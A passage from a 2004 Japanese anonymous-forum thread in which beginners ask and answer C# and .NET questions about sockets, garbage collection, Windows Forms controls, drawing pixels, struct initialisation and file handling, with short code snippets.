ふらっとC♯(Part5) ..
263:デフォルトの名無しさん
04/08/08 00:20
>>262
トンクスエロイ人!
やっぱこうやるか・・・。なんだかなぁ・・・
264:デフォルトの名無しさん
04/08/08 02:15
Socket.Selectで64を超えるソケットリストを渡すと範囲外エラーになるのですが、
この64という制限は何によってかかっているでしょうか。
100に変更したりとかできないでしょうか。
265:デフォルトの名無しさん
04/08/08 11:05
ボタンの配列(二次元)をクリックされた時に、何番のボタンがクリックされたかを調べるにはどうしたら良いですか?
MyButtons[,] = new Button[3,5];
のように宣言されていて、forの二重ループの中で初期化して
MyButtons[i,j].Click += new EventHandler(MyButtons_Click);
みたいにしてみましたが、MyButtons_Clickの引数には別に「MyButtonsの何番目か」は渡されません。
どうしたらいいんですか
266:デフォルトの名無しさん
04/08/08 11:11
>>265
ボタンの番号が固定のものなら、Button.Tag あたりに番号を押し込めておけば良いのでは?
267:デフォルトの名無しさん
04/08/08 11:22
自分が [2,1]だとしたら、[2,0]と[2,2]のボタンも操作したいんですよ。
なんとかなりませんかねえ
268:デフォルトの名無しさん
04/08/08 11:28
>>267
???
だからTagにint[]{2, 1}とかいれとけばいいんじゃないの?
それがまずいというのならもっとわかりやすく説明してくれないと何がなにやら。
269:デフォルトの名無しさん
04/08/08 11:34
>>268
あ、いま意味が分かりましたサンクス
270:デフォルトの名無しさん
04/08/08 12:19
>>264
普通に1000とかできるじゃん……と思ったら.NET Framework2.0だった。
1.1の制限のようだ。
271:デフォルトの名無しさん
04/08/08 12:27
>>264
OS の制限。WaitForMultipleObjects() できる最大数が64だから。
2.0 で表面的な制限は外れても、64を超えると効率は落ちる気がする。
272:デフォルトの名無しさん
04/08/08 13:46
簡単なベンチの結果、数が25以上になった辺りから緩やかに効率が落ちていった。
でも64周辺の境界は見あたらなかった。
ついでに1.0/1.1/2.0bも比較してみた。(スコアは低い方が優秀)
10でスコア 410 / 370 / 250
25でスコア 320 / 300 / 230
40でスコア 325 / 320 / 250
64でスコア 370 / 370 / 300
有意の差があるね。
1.1までとは違う機構を利用してたりするんじゃないかってくらい2.0は早い。
数が少ない時と多い時のスコアの分布とか。
273:デフォルトの名無しさん
04/08/08 13:50
DataGridで
ABC | DEF | GHI
JKL | MNO | PQR
STU | VWX | YZA
BCD | EFG | HIJ
こういう表の MNOとVWXだけ範囲指定させるみたいなことはできますか?
274:264
04/08/08 14:27
>>270-272
環境も書き忘れたのに本当にありがとうございます。
しかもWaitForMultipleObjectsとの関連、
ベンチまでしていただいてとても参考になりました。
275:デフォルトの名無しさん
04/08/09 00:29
クラスのオブジェクトをコピーしたいんだけどよくわからんです。
AObject obj1 = obj2.Clone();
ってすればいいんだろうけど、
Cloneを書くときにCのmemcpyみたいなことってできないんでしょうか?
それともいちいちフィールド一つずつ代入?
276:デフォルトの名無しさん
04/08/09 00:38
Object.MemberwiseClone()
277:275
04/08/09 15:39
>>276
さんきゅ。
それつかってICloneableを実装するのが流儀なのだな。
278:デフォルトの名無しさん
04/08/13 14:30
Point とかの Dispose できないヤツって、Dispose しなくていいの?
Point aaa = new Point(0,0);
aaa = new Point(1,1);
aaa = new Point(2,2)
とかしても大丈夫?
279:デフォルトの名無しさん
04/08/13 15:17
>>278
int a = 0;
a = 1;
a = 2;
とやることにためらいを覚える?
280:デフォルトの名無しさん
04/08/14 04:46
char *p = malloc(100);
p = malloc(100);
p = malloc(100);
とやることにはためらいを覚える。
281:275
04/08/15 15:23
Pointとかは構造体だからOKってことだよね。
正しいクラスはDisposeを持つべきってことか?
自前のやつも?
282:デフォルトの名無しさん
04/08/15 15:30
>>281
もうちょっとGCを信用しようや。
Disposeが必要なのは基本的にUnmanagedなリソースを扱うクラスのみ。
283:デフォルトの名無しさん
04/08/15 16:19
GCはいいんだけど、自分で自由に解放できないのがいまいち
なんか「ゴミをゴミ箱に捨てると清掃員の仕事が減ってリストラされるから、ゴミは道に捨てるべき」とか言ってるみたい
284:デフォルトの名無しさん
04/08/15 17:21
>>283
でも
道に捨てない −> 清掃員の仕事が減ってリストラ −> ごみを捨て忘れても綺麗にならない
だから道に捨てるんだ。
285:デフォルトの名無しさん
04/08/15 17:44
環境はVS2003です。
ツール(T)→webページのビルドコメント(B)
でドキュメントを作成したところ、「コード要素ページ operator + が不完全です。 」というエラーが取り除けなくて困っています。
だれか理由が分る人いますか?
以下問題のコードです。
/// <summary>テスト</summary>
public class Test
{
/// <summary>足し算</summary>
/// <param name="a">引数その1</param>
/// <param name="b">引数その2</param>
/// <returns>結果</returns>
public static Test operator + ( Test a , Test b ) { return null ; }
}
>>282
Unmanagedというより、IO関連とかメモリーと連携するわけにはいかないオブジェクトが実装する必要があるのでは?
OSのリソースはメモリーのようにいつでも解放できるリソースばかりではありませんから、そのようなリソースを握るオブジェクトには必然的に必要になります。
参照先がなくなった瞬間に即時開放されるタイプのクラスが定義できると、こんな面倒な事をしなくてすむんですが……
と、C++でスマートポインタを使っていると切に欲しくなる事があったりします。
286:デフォルトの名無しさん
04/08/15 20:23
Disposeしたところでメモリに対しては何も出来ないんだから意味なし。
まあ、>>285のように思う事はない事もない。
287:デフォルトの名無しさん
04/08/15 20:29
何らかのクリーンアップコードを実行したい場合なんかは、
Disposeを実装すべきである事が多い。
単に使用終了と言う意味合いだけなら、何もする必要なし。
※Dispose実装したところでする事は何もない。
メモリに関しちゃほっとけばいいってのがGCのある環境での基本。
288:デフォルトの名無しさん
04/08/15 20:30
using ステートメント(と IDisposable インタフェイス)ではどこがダメなの?
289:デフォルトの名無しさん
04/08/15 20:47
忘れる可能性があるから、強制できないから。
まあ、>>285の言うようなスマートポインタみたいな物っていっても、
結局直接参照しか扱えないため、包含するクラスは全部そのタイプにしなけりゃ
意味がなかったりして、結局大げさになりすぎてうまくいかないかな。
GCとは相性が悪いね。
290:デフォルトの名無しさん
04/08/17 19:02
MSNメッセンジャーでの「ほげほげがサインインしました」みたいなポップアップ
ダイアログを作りたいのだが,ここにいる諸氏ならばどのようにして実現するか,
意見をお聞きしたい.
291:デフォルトの名無しさん
04/08/17 19:45
出来合いのコンポーネントを使う。
292:デフォルトの名無しさん
04/08/17 20:47
>>290
他にもあるけど
窓の杜 - 【NEWS】米MS提供の.NET開発向けカスタムコントロール集「Visual Basic Power Pack」
URLリンク(www.forest.impress.co.jp)
293:290
04/08/17 21:46
>>292
激しく感謝.ありがとう.
294:デフォルトの名無しさん
04/08/18 18:19
ファイルの末尾数バイトを削除する簡単な方法ってありますか?
一度全て読み込んだ後削除して上書きしか思いつかなくて。。。
消した後、そのファイルに追加を行うので、
消したい部分のみ上書きする方法でもいいのですが。。。
295:デフォルトの名無しさん
04/08/18 18:37
簡単……ねぇ?
上書きなら難しいことでもないけど。
int b = 5;
FileStream fs = new FileStream("hoge.txt", FileMode.Open, FileAcceess.ReadWrite);
fs.Position = fs.Length - b;
StreamWriter sw = new StreamWriter(fs);
以下略
296:294
04/08/18 19:01
>>295
そっか TextWriter に、予め頭だししておいた Stream をぶち込めばよかったのか
ありがとうございますそれでいけそうです
297:デフォルトの名無しさん
04/08/19 16:55
>>295
そっか Mamko に、だしておいた Seishi をぶち込めばよかったのか
ありがとうございますそれで子供できそうです
298:デフォルトの名無しさん
04/08/19 16:57
つまらん
299:デフォルトの名無しさん
04/08/23 08:20
C#で複数のマウスイベントを検出することは可能でしょうか?
USBマウスとUSBトラックボールをつなげています。こららの移動情報を個別に取得したいと思います。
どうすれば、よいでしょうか?宜しくお願いしまう。
300:デフォルトの名無しさん
04/08/23 08:25
>>299
.NET Frameworkのライブラリじゃ不可能。
Raw Input APIを使う必要がある。
参考:URLリンク(www.hatena.ne.jp)
301:デフォルトの名無しさん
04/08/23 11:16
意外にも、DirectInput じゃ区別できないのよね。
302:デフォルトの名無しさん
04/08/25 06:19
実行ファイルに関連付けられたアイコンをプログラムの中で
使用したいのですが、いい方法はないでしょうか。
なお、今のところ、同一のアイコンファイルを
コンパイルオプションの「/win32icon」、「/resource」の双方を
使って実行ファイルに取り込んでいます。
303:デフォルトの名無しさん
04/08/25 07:12
>>302
/win32icon は API の ExtractIcon/ExtractIconEx で取り出せる。
304:デフォルトの名無しさん
04/08/26 01:30
classとstructを簡単に見分ける方法ってある?
ライブラリのやつとかいちいちマニュアル見るの面倒なんだが。
305:デフォルトの名無しさん
04/08/26 02:15
>>304
VS使ってるならnewのインテリセンスとか。
あんまりclassかstructかを見分ける必要なぞ感じたことがないしな。
306:デフォルトの名無しさん
04/08/26 11:59
ListBoxを縦に二つに分けることはできないんでしょうか。
MultiColumnではなくて、ひとつの項目を二つの列に分けて表示したいんです。
具体的に何をしたいかというと、エラーの内容と発生時刻を表示したいんですが、
発生時刻を左側に、エラーの内容を右側にわけてリストボックスに表示したいんです。
日付は必ず1行ですがエラーの内容は複数行になる可能性があるので、
文字数揃えて表示・・とかよりも縦に二つに割れたら楽だと思うんですけど、どうやってやるのかさっぱりです。
ListBoxで実現するには、あるいはほかのコントロールで実現するにはどうすればいいんでしょうか。
307:デフォルトの名無しさん
04/08/26 12:13
>>306
ちゃんと読んではいないけどGoogleのイメージ検索で引っかかったこれはどうだろう。
URLリンク(www.codeproject.com)
//私ならListViewを使うかな……?
308:デフォルトの名無しさん
04/08/26 12:18
ぶっちゃけ自分で描画したほうが早い
309:デフォルトの名無しさん
04/08/26 14:53
>>308
めんどくさくね?
310:デフォルトの名無しさん
04/08/27 00:14
面倒くさいかどうかというのは実装の早さに関して考慮することじゃないような
311:304
04/08/27 00:43
>>305
そうか。
コピーするときにcloneがいるかとか
遅くなるのかとか、結構気になるんだが
312:デフォルトの名無しさん
04/08/27 03:39
チューンナップなぞ遅さが気になってからすればいいんですよ.
早過ぎる最適化は諸悪の(少なくとも大半の悪の)根源なり -- DEK
313:デフォルトの名無しさん
04/08/27 17:15
AxWebBrowser って ToolTip くっつけられないんだっけ?
314:313
04/08/27 17:16
くだらない質問なのにあげちゃった_| ̄|○
315:デフォルトの名無しさん
04/08/27 20:34
>>305
boxing と unboxing でドツボにはまるぞ。
値型と参照型の違いは押さえておいた方が良い。
316:デフォルトの名無しさん
04/08/27 21:08
だよね。
struct を lock () して排他したつもり、とか。
317:デフォルトの名無しさん
04/08/27 23:58
心配しなくてもできねーよ。
318:デフォルトの名無しさん
04/08/28 22:43
テキストボックスで HOME や END、あまつさえ SHIFT+HOME や SHIFT+END、
CTRL+Z や CTRL+C/V/X を実現するには自分でコードを書かないといけないのでしょうか?
319:デフォルトの名無しさん
04/08/28 22:47
>>318
まず試せ。
320:デフォルトの名無しさん
04/08/28 23:16
Windows.Formにプロパティを加えたんだけど、
デザイナのプロパティウィンドウには表示されませんね。
基底クラス(Windows.Form)に加えたプロパティは
派生クラス(Windows.Form)のデザイナに反映される
みたいだけど、自分自身ならなぜだめなのかなぁ。
321:デフォルトの名無しさん
04/08/28 23:51
>>320
まったく同じレスをどこかで見たなぁ。
322:デフォルトの名無しさん
04/08/29 12:53
>>321
俺も見た記憶があるので探してみた
スレリンク(tech板:294番)
323:306
04/08/29 14:08
>>307,308
遅ればせながら・・・
ListViewでいけました。
ありがとうございました。
詳細表示なんてさっぱり思い浮かびませんでした。
324:318
04/08/29 14:41
>>319
できました…。幻覚でも見ていたのかもしれません。
でも CTRL+A ってできないんですね。
325:デフォルトの名無しさん
04/08/30 17:43
1pxの点 . を任意の座標表示するにはどうしたら良いんでしょう?
1,1 - 1,2まで幅1の線を引くと、どうも2pxくらい線が引かれちゃうし
1,1 - 1,1にすると線ができないんです。
326:デフォルトの名無しさん
04/08/30 18:05
>>325
Bitmap に SetPixel で点を描いて、Graphics.DrawImage で画面に描写。
327:デフォルトの名無しさん
04/08/30 18:13
他には、
FillRectangle(DrawRectangleは不可)で幅・高さ1の四角を描画。
Graphics.GetHwndで取得したデバイスコンテキストにWin32APIのSetPixelで描画。
……元画像のビットマップを取得できるならBitmap.SetPixelが一番手っ取り早い/速いんだけどねー。
328:デフォルトの名無しさん
04/08/30 19:13
それ俺も気になって調べたんだけど
点を描画するGraphicsクラスのメソッドはないみたいなんだよね
結局SetPixelで妥協したけど、
Graphicsオブジェクトを使って描画を行うというルールから離れるからあんまりやりたくない
329:デフォルトの名無しさん
04/08/30 19:18
……327のGetHwndはGetHdcの間違い。
//user32.dllのAPIをまとめたクラスを最近作ってるからhwndまみれでつい。
330:デフォルトの名無しさん
04/08/31 00:59
>>328
Graphics はベクタ形式を含む一般的なグラフィックを扱うクラスだから、“点”という概念がないのよね。
数学的には、点は半径が無限小の円と等価な存在で、半径0の円は画面に表示できないから。
点、というか、ピクセル単位の処理がしたければビットマップを使えと。
Graphics に元画像のビットマップを取得するメソッドがないのは、
将来的に(Avalon で)、OS 自体をベクタ画像ベースで動くものにするつもりでいるからじゃないかな。
331:デフォルトの名無しさん
04/09/05 13:36
>>330
目から鱗
332:デフォルトの名無しさん
04/09/08 21:18
URLリンク(www.atmarkit.co.jp)
の記事をみてSQL Server 2000を使ってみようと思い立ったんですが、
とりあえず URLリンク(www.microsoft.com) をインストールして
みたのですが、ヘルプをみても使い方がサッパリ分りません。
インストールするとタスクトレイにDBのアイコンがでますが、これのサービスをスタートしようとすると
エラー1069(ログオンに失敗したため、サービスを開始できませんでした)となってしまいます。
これってまず何をすればいいんでしょうか?
333:デフォルトの名無しさん
04/09/09 01:51
はじめまして。
URLリンク(mobiquitous.com)
これを使って、IEツールバーのボタンが押されたらあるページがIEに表示されるように
したいのですが、どうすればIEを操作できるのか見当がつきません。
何か関連ありそうなキーワードがあれば教えてください。よろしくお願いします。
334:デフォルトの名無しさん
04/09/09 12:55
>>333
Site もしくは Site の IServiceProvider 経由で IID_IWebBrowser もしくはIID_IWebBrowserAppを
得て Navigate すればいいんじゃない?
335:333
04/09/09 22:37
>>334
ありがとうございます。
調べてみます。
336:デフォルトの名無しさん
04/09/10 16:44:32
アプリケーションをフォームが非表示の状態で開始するにはどうやればいいか教えていただけますか?
Application.Run の前に CreateControl して Hide して、Visible を false にしてもなぜか表示されてしまいます・・・
337:デフォルトの名無しさん
04/09/10 17:01:55
>>336
URLリンク(www.microsoft.com)
個人的にはApplication.Run()でやることが多いけど。
338:デフォルトの名無しさん
04/09/10 21:30:59
>>337
これだと確かに表示はされないけれども、Load イベントも上がらないし・・・
普通の Win32 アプリでいう WS_VISIBLE でない状態でウィンドウそのものは作りたい、
というような状況なのです。CreateSuruct でも override してみるかなぁ。
339:デフォルトの名無しさん
04/09/10 21:56:22
CreateParams を override して WS_VISIBLE を落としてもダメ、
Form の Load イベントで this.Hide() しても this.Visible = false; してもダメ、
Application.Run を Form.ShowDialog にしてもダメ。
(関係ないけどRun の代わりに ShowDialog 使うと Dialog 終了後のメッセージが処理されないので
表示した NotifyIcon を Form が Close される前に消さないとゴミが残る・・・)
VisibleChanged イベントのハンドラで Hide すると何とか消えるけど、一瞬表示されるのでちらつきます。
タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
340:デフォルトの名無しさん
04/09/10 22:03:18
>>339
> タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
NotifyIconとかを管理するクラスを作り、その中のContextMenuでフォームのShow/Hideを扱う。
メッセージループはApplication.Run()でメインウィンドウを持たせずに開始する。
341:デフォルトの名無しさん
04/09/10 22:46:49
>>340
できました!ありがとうございます。
342:デフォルトの名無しさん
04/09/17 11:41:58
パフォーマンスを計るのにスレッド単位でCPUのTickTimeを取得したいのですが、
(Sleep中または別スレッドが走っている時はカウントしない)
そういうクラス知っている人いますか?
343:デフォルトの名無しさん
04/09/17 11:48:25
Type.InvokeMemberからBindingFlags.GetPropertyでプロパティを取得する時、
返り値がobject配列なのですが、どうすれば各要素にアクセス可能になるでしょうか。
単に返り値をobjectとして取得することはできたのですが、その後が分かりません・・
344:デフォルトの名無しさん
04/09/17 11:50:48
>>343
言ってる意味がよくわからない。
もうちょっと具体的に。
345:デフォルトの名無しさん
04/09/17 12:07:17
ごめんなさい、分かっちゃった。
こうしたかっただけです。
obj = type.InvokeMember("array", BindingFlags.GetProperty, null, doc, new object[] {2});
* これで二番目の要素をゲット
お騒がせしました。
346:デフォルトの名無しさん
04/09/17 14:41:43
bmp=new Bitmap(filename);
これをdisposeせずに、また
bmp=new Bitmap(filename2);
を呼び出したらメモリー減って行きますか?
それとも、同じ変数のメモリー番地に上書きされるだけですか?
347:デフォルトの名無しさん
04/09/17 14:45:31
>>346
もちろん新しいメモリが確保される。
インスタンスのサイズが違うかも知れないのに上書きしちゃまずいだろ。
348:デフォルトの名無しさん
04/09/17 14:47:10
って、参照先じゃなくて変数そのもののアドレスか?
それなら上書きされるが。
つかそんなことに頭を悩ます意味は全くないが。
あとそれとDisposeとは何の関係もない。
349:デフォルトの名無しさん
04/09/17 14:58:36
bmpの中にある画像データを替えたかっただけなんです。
>って、参照先じゃなくて変数そのもののアドレスか?
>それなら上書きされるが。
という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
350:デフォルトの名無しさん
04/09/17 15:08:05
> という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
画像データとか言わずBitmapインスタンスと言おうな、こういう場合。
まあ、そんな感じ。
細かく言うなら、「変数が示す参照先が書き変わる」。
変数が、古いインスタンスを丸めてポイして、新しいインスタンスにべったりくっつくわけだ。
//丸めてポイされたインスタンスはいずれGCが片づける。
351:346
04/09/17 15:10:47
なるほど、色々ありがd。
352:デフォルトの名無しさん
04/09/17 15:16:45
>>346微妙に誤解してないか?
>>350の書いてる内容は間違っちゃいないんだけど、
読み方によっては>>346が誤解してしまうように思う。
依然
>という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
のように言ってるからね…
まあ画像データが上書きされるってのを、プログラム上からはというか、
プログラムでの操作上はそのように見えるってだけの意味で言ってるのなら大丈夫かもしれんが…
353:デフォルトの名無しさん
04/09/17 21:16:06
>>346
上書きはされないよ。例えば、
Bitmap bmp = Bitmap(file1);
aForm.BackgroundImage = bmp;
なんてしておいて、後で
bmp = Bitmap(file2)
なんてやってもフォームの背景は変わらない。
前の画像は前の画像、新しい画像は新しい画像、お互いなんの関係もない。
354:デフォルトの名無しさん
04/09/17 21:48:51
プロパティに設定するときはインスタンスのコピーをとってるんだろうか
355:デフォルトの名無しさん
04/09/17 22:26:56
>>354
とってないよ。だから Dispose なんかしちゃだめだよ。
356:デフォルトの名無しさん
04/09/17 23:38:22
Disposeは微妙な存在。
357:デフォルトの名無しさん
04/09/18 10:40:22
>>342 の続きなんですが、スレッドがSleep等で停止したり、再開したりする時に
コールバックもしくはなんだかの形でフックを掛けることはできないか知っている人いませんか?
358:在日参政権反対
04/09/18 12:36:45
>357
単純にメソッド余分じゃ駄目なの?他のスレッドに何かさせたいんでしょうか?ならイベントとか?
359:デフォルトの名無しさん
04/09/18 13:51:36
>>358
システム側でスレッドが切り替えられたときにも引っ掛けないとパフォーマンスが計れないです。
360:在日参政権反対
04/09/18 14:13:26
パフォーマンスカウンターオブジェクトのスレッド実行時間では?
361:デフォルトの名無しさん
04/09/23 02:34:14
はじめまして。
プログラミング自体初心者なのですが、
VisualStudioC#で作ったプログラムの
テキストボックスの中でバックスペースが効きません。
これってなんとかならないものでしょうか。
362:デフォルトの名無しさん
04/09/23 02:40:37
Ctrl+H
363:デフォルトの名無しさん
04/09/23 15:42:18
前の文字を消すための代替方法を探しているのではなくて、
テキストボックスでバックスペースキーを認識する方法を探しています。
364:デフォルトの名無しさん
04/09/23 15:48:46
と言われても私の周辺では普通に有効だし。
コード上で変なことをしてるかキーボード補助系のなんかのアプリを使ってるか、果てしなく環境依存な話になるし。
そもそもTextBoxはWindowsの標準エディットコントロールをラップしてるだけだしなぁ。
365:教えてください
04/09/24 08:46:54
C#初学者です。
ナンバーズ予想ソフトをVC#で作りたいと思っています。
Winアプリで、ナンバーズとか株の最新データを取得してくるソフトが
ありますが、あれってどのような仕組みでやっているのですか?
何か参考になるサイトや書籍などあれば教えてください。
366:デフォルトの名無しさん
04/09/24 11:16:52
>>365
1.サイトからHTML(など?)をダウンロードする
2.ダウンロードしたHTML(など?)からナンバーズのデータを取得
3.取得したデータから、予想する
大雑把にこんな感じでやればいいのでは。
367:在日外国人参政権反対
04/09/24 11:32:46
ナンバー図は知らんが、株はサイトと直接ソケット接続してデータやり取りするものもあった希ガス.
368:365
04/09/24 12:59:54
>366
ということは、まずHTMLのソースを元に配列化して、データを取得するということでしょうか?
取得の仕方だけが分からないんで・・・
369:デフォルトの名無しさん
04/09/24 13:03:00
まずデータがどこにどういう状態/形式でおかれているか、によって話は全く違った方向に転がっていくだろう。
370:366
04/09/24 15:17:28
>>368
それは各自の工夫です。そんな甘いものではないはず。
まあヒントを。HTMLをダウンロードすることを前提に話すけど。
ダウンロードしたHTMLのうち、必要なデータがある場所というのはサイトの構成が変わらなければいつも同じなはず。
そういうのを、文字列の検索とか正規表現とかで探し出す。
運よく取得するサイトがXHTMLになっている場合は、System.Xml名前空間を駆使すれば楽になるかもしれない。
371:在日外国人参政権反対
04/09/24 15:55:14
>365
何がわからないのか明確にしる
ソースの場所
ソースの形式
そのソースの取得方
プログラムの書き方
全部
372:デフォルトの名無しさん
04/09/24 19:47:18
HttpWebRequest
373:デフォルトの名無しさん
04/09/25 14:06:36
ネットワークゲームを作る際に、通信に最初(ログイン)から最後(ログオフ)まで
BinaryFormatter もしくは SopaFormatter にてシリアル化したオブジェクトのみを使用する事に問題点はありますか?
374:デフォルトの名無しさん
04/09/29 00:02:22
>>373
なんか問題があったときにスニファで見てもよくわからないとかが
ありそうなので、おいらは使わない
Soapはしらないけど、効率わるいんじゃないの?
375:デフォルトの名無しさん
04/10/02 10:37:47
値型のnewってヒープを食わないんですよね?デフォルトのコンストラクタが呼ばれるだけで。
同じ変数に2回以上newした場合はどうなんでしょう。
ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
問題ないんでしょうか?
すごく抵抗を覚えるんですが・・・
・パターン1
A a = new A();
for (int i = 0; i < 10000; i++)
{
a = new A();
// 以降Aを設定する処理
}
・パターン2
for (int i = 0; i < 10000; i++)
{
A a = new A();
// 以降Aを設定する処理
}
・パターン3
A a = new A();
for (int i = 0; i < 10000; i++)
{
// 自力で初期化
a.xx = "";
// 以降Aを設定する処理
}
パフォーマンス的には3が一番いいような気がしていますが。
構造体を再度初期化する方法ってnew以外にあるんでしょうか?
376:デフォルトの名無しさん
04/10/02 11:03:46
>>375
ボクシングされなければ、既に在る領域をコンストラクタで初期化しているだけのような気もする
……中を見てみないとどうにもいえないけど
不安ならば、パターン3の拡張として、
A に SetData みたいなメソッドを作り、そこで一気に値を変更してみればいかがか?
377:デフォルトの名無しさん
04/10/02 11:21:45
>>375
> パフォーマンス的には3が一番いいような気がしていますが。
少なくとも速度的には一番悪い。
1と2では差は無し。意味的に大した違いも無し(aの寿命だけ。実質的な動作は同じ)
> 構造体を再度初期化する方法ってnew以外にあるんでしょうか?
static readonlyなEmptyフィールドを用意するとか。
意味的にはnew()するのと変わりませんよ?
> ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
> 問題ないんでしょうか?
> すごく抵抗を覚えるんですが・・・
そんなことよりも、初期値を指定しないで初期化する構造体の方に抵抗を覚えるな。
378:375
04/10/02 12:40:42
>>376-377
回答どーもです。
3が一番遅いというのは、newより個々のメンバをクリアする方が遅いんですか?
値型のnewの場合、内部的にmemsetみたいにクリア処理が1発走るだけなんですかね。
379:デフォルトの名無しさん
04/10/02 12:57:09
C#でビデオキャプチャーはできますか?
DirectXではできない(かなり面倒)と聞きました。
VFWで動きますでしょうか?サンプルなどありましたら、お教えください。
380:デフォルトの名無しさん
04/10/02 13:43:36
>>379
DirectShow(のActiveXコントロール)による極簡単なサンプル
URLリンク(chikuma.sit.ac.jp)
DirectX9のDirectShowの.NETラッパ作成プロジェクト
URLリンク(www.codeproject.com)
381:デフォルトの名無しさん
04/10/04 01:17:53
このスレタイのC#を半角小文字英数のC#に変えてください
382:デフォルトの名無しさん
04/10/04 01:19:03
そうすると不思議なことにC言語のスレッドと見分けがつかなくなるのです。
383:デフォルトの名無しさん
04/10/04 01:51:54
#はシャープとは違う文字ですよ
384:デフォルトの名無しさん
04/10/04 01:57:37
それでも半角の方が公式なんだがな。
385:デフォルトの名無しさん
04/10/04 01:59:03
スレタイに半角 # は使えません。
386:デフォルトの名無しさん
04/10/04 02:01:23
ム板だけでも#が使えるようにならんもんかな
387:デフォルトの名無しさん
04/10/04 17:39:45
c#stdを使っているのですが
ユーザーコントロールを配置して
デバッグしようとすると、ユーザーコントロールはビルドされていないとダメって
コンパイル時に起こられるのですが、みなさんはどうしてますか?
VS.NETproとかだとこういうエラーはでないんですか?
388:デフォルトの名無しさん
04/10/04 18:07:35
>387 151はけーん
389:デフォルトの名無しさん
04/10/12 23:27:56
age
390:デフォルトの名無しさん
04/10/17 23:11:19
button1のプロパティを全部button2にコピーする簡単な方法ってありますか?
391:デフォルトの名無しさん
04/10/17 23:36:11
意外に必要なプロパティなんて少ないもんだぞ。
問答無用に全部コピーすると問題が出たりするしな(だからWindowTargetをわざわざ除外してる)。
public void CopyButton(System.Windows.Forms.Button from, System.Windows.Forms.Button to) {
foreach (System.Reflection.PropertyInfo inf in typeof(System.Windows.Forms.Button).GetProperties()) {
if (!inf.CanRead || !inf.CanWrite || inf.Name == "WindowTarget")
continue;
inf.SetValue(to, inf.GetValue(from, null), null);
}
}
392:デフォルトの名無しさん
04/10/18 00:04:22
>>391
すごい。
ありがとうございます!
やってみます。
393:デフォルトの名無しさん
04/10/18 18:35:36
C♯相談室から流れてきました。
タブ型のメモ帳を作っています。
richTextBoxを乗せたtabpageを追加していくようにしています。
上書き処理をしたいのですが自分で考えた方法は
openFileDialogでファイルのパスを取得してloadfileで読み込む
→内容を変更→savefileを使いpathパラメータはopenfileDialog.Filenameを指定して上書き
としているのですが、別のテキストファイルを開いたあとで開いてあったテキストファイルを上書きしようとすると
Filenameが後に開いたテキストファイルのものになってしまいます。
ファイルのパスをタブごとに維持しておく方法どうすればいいんでしょうか?
394:デフォルトの名無しさん
04/10/18 18:46:47
>>393
タブのページ毎の情報はタブのページ毎に保存しとく。
OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて
保存する時はそれを使うようにする。
……むう、微妙に説明するのが難しい。
//開く時
TabPage page = tabControl1.SelectedTab;
page.Tag = openFileDialog.FileName;
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName);
//上書き保存する時
TabPage page = tabControl1.SelectedTab;
string filename = (string)page.Tag;
((RichTextBox)page.Controls[0]).SaveFile(filename);
こんなかんじで。
395:デフォルトの名無しさん
04/10/18 20:10:25
早いレスありがとうございます。
しかし自分の説明不足からかわからない点が。
上の記述はすでにtabが開いてあるとしてのものですか?
説明が下手なのでコードを貼り付けます。
//開く
private void menuItem3_Click(object sender, System.EventArgs e)
{
openFileDialog1.DefaultExt = "*.txt";
openFileDialog1.Filter = "TEXT Files|*.txt";
if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0)
{
string path = openFileDialog1.FileName;
string name = Path.GetFileName(path);
string title = name;
this.newtabpage = new System.Windows.Forms.TabPage(title);
this.tabControl1.Controls.Add(this.newtabpage);
this.newrichTextBox= new System.Windows.Forms.RichTextBox();
this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill;
this.newtabpage.Controls.Add(this.newrichTextBox);
this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText);
this.tabControl1.SelectedTab=this.newtabpage;
this.newtabpage.ToolTipText=path;
TabPage newtabpage = tabControl1.SelectedTab;
newtabpage.Tag = openFileDialog1.FileName;
MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。
}
}
としてみましたが結果が同じになってしまいました。
試行錯誤中なので無駄な記述があるかもしれません。
説明不足の上長文で申し訳ありませんがどうかお救いください。
396:デフォルトの名無しさん
04/10/18 20:19:32
>>395
this.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。
それはさておき開くときにファイル名を記録していないわけで。
this.newtabpage.Tag = name;
397:デフォルトの名無しさん
04/10/18 20:58:23
>>396
ファイル名を記憶してみても
別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。
根本的におかしい部分はありますか?
何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。
398:デフォルトの名無しさん
04/10/18 21:02:04
>>397
すいません、解決しました。
パスを確認する別の記述の部分に
TabPage newtabpage = tabControl1.SelectedTab;
を加えるのを忘れていました。
ありがとうございました!
399:デフォルトの名無しさん
04/10/18 22:19:49
先生!
文字列型変数は、削除されないんですよね?
string s = "ぬるぽ";
s = "にりぺ";
とした場合、「ぬるぽ」は残ってるんですよね?
で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
400:デフォルトの名無しさん
04/10/18 22:22:16
アクセスって?
401:デフォルトの名無しさん
04/10/18 22:23:40
>>399
string s = "ぬるぽ";
string backup = s;
s = "にりぺ";
System.Console.WriteLine(backup);
402:デフォルトの名無しさん
04/10/18 22:23:48
参照が無くなったものにアクセスはできない。
GCの管理下に入ってそのうちメモリから消されるのみ。
というか
> 文字列型変数は、削除されないんですよね?
て意味不明。
System.Stringは変更不可クラスで、その意味は
文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく
新しいSystem.Stringインスタンスをつくって返すってこと。
403:デフォルトの名無しさん
04/10/18 22:24:21
>>400
string p = s;
で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。
です。
404:デフォルトの名無しさん
04/10/18 22:41:45
>>399
> とした場合、「ぬるぽ」は残ってるんですよね?
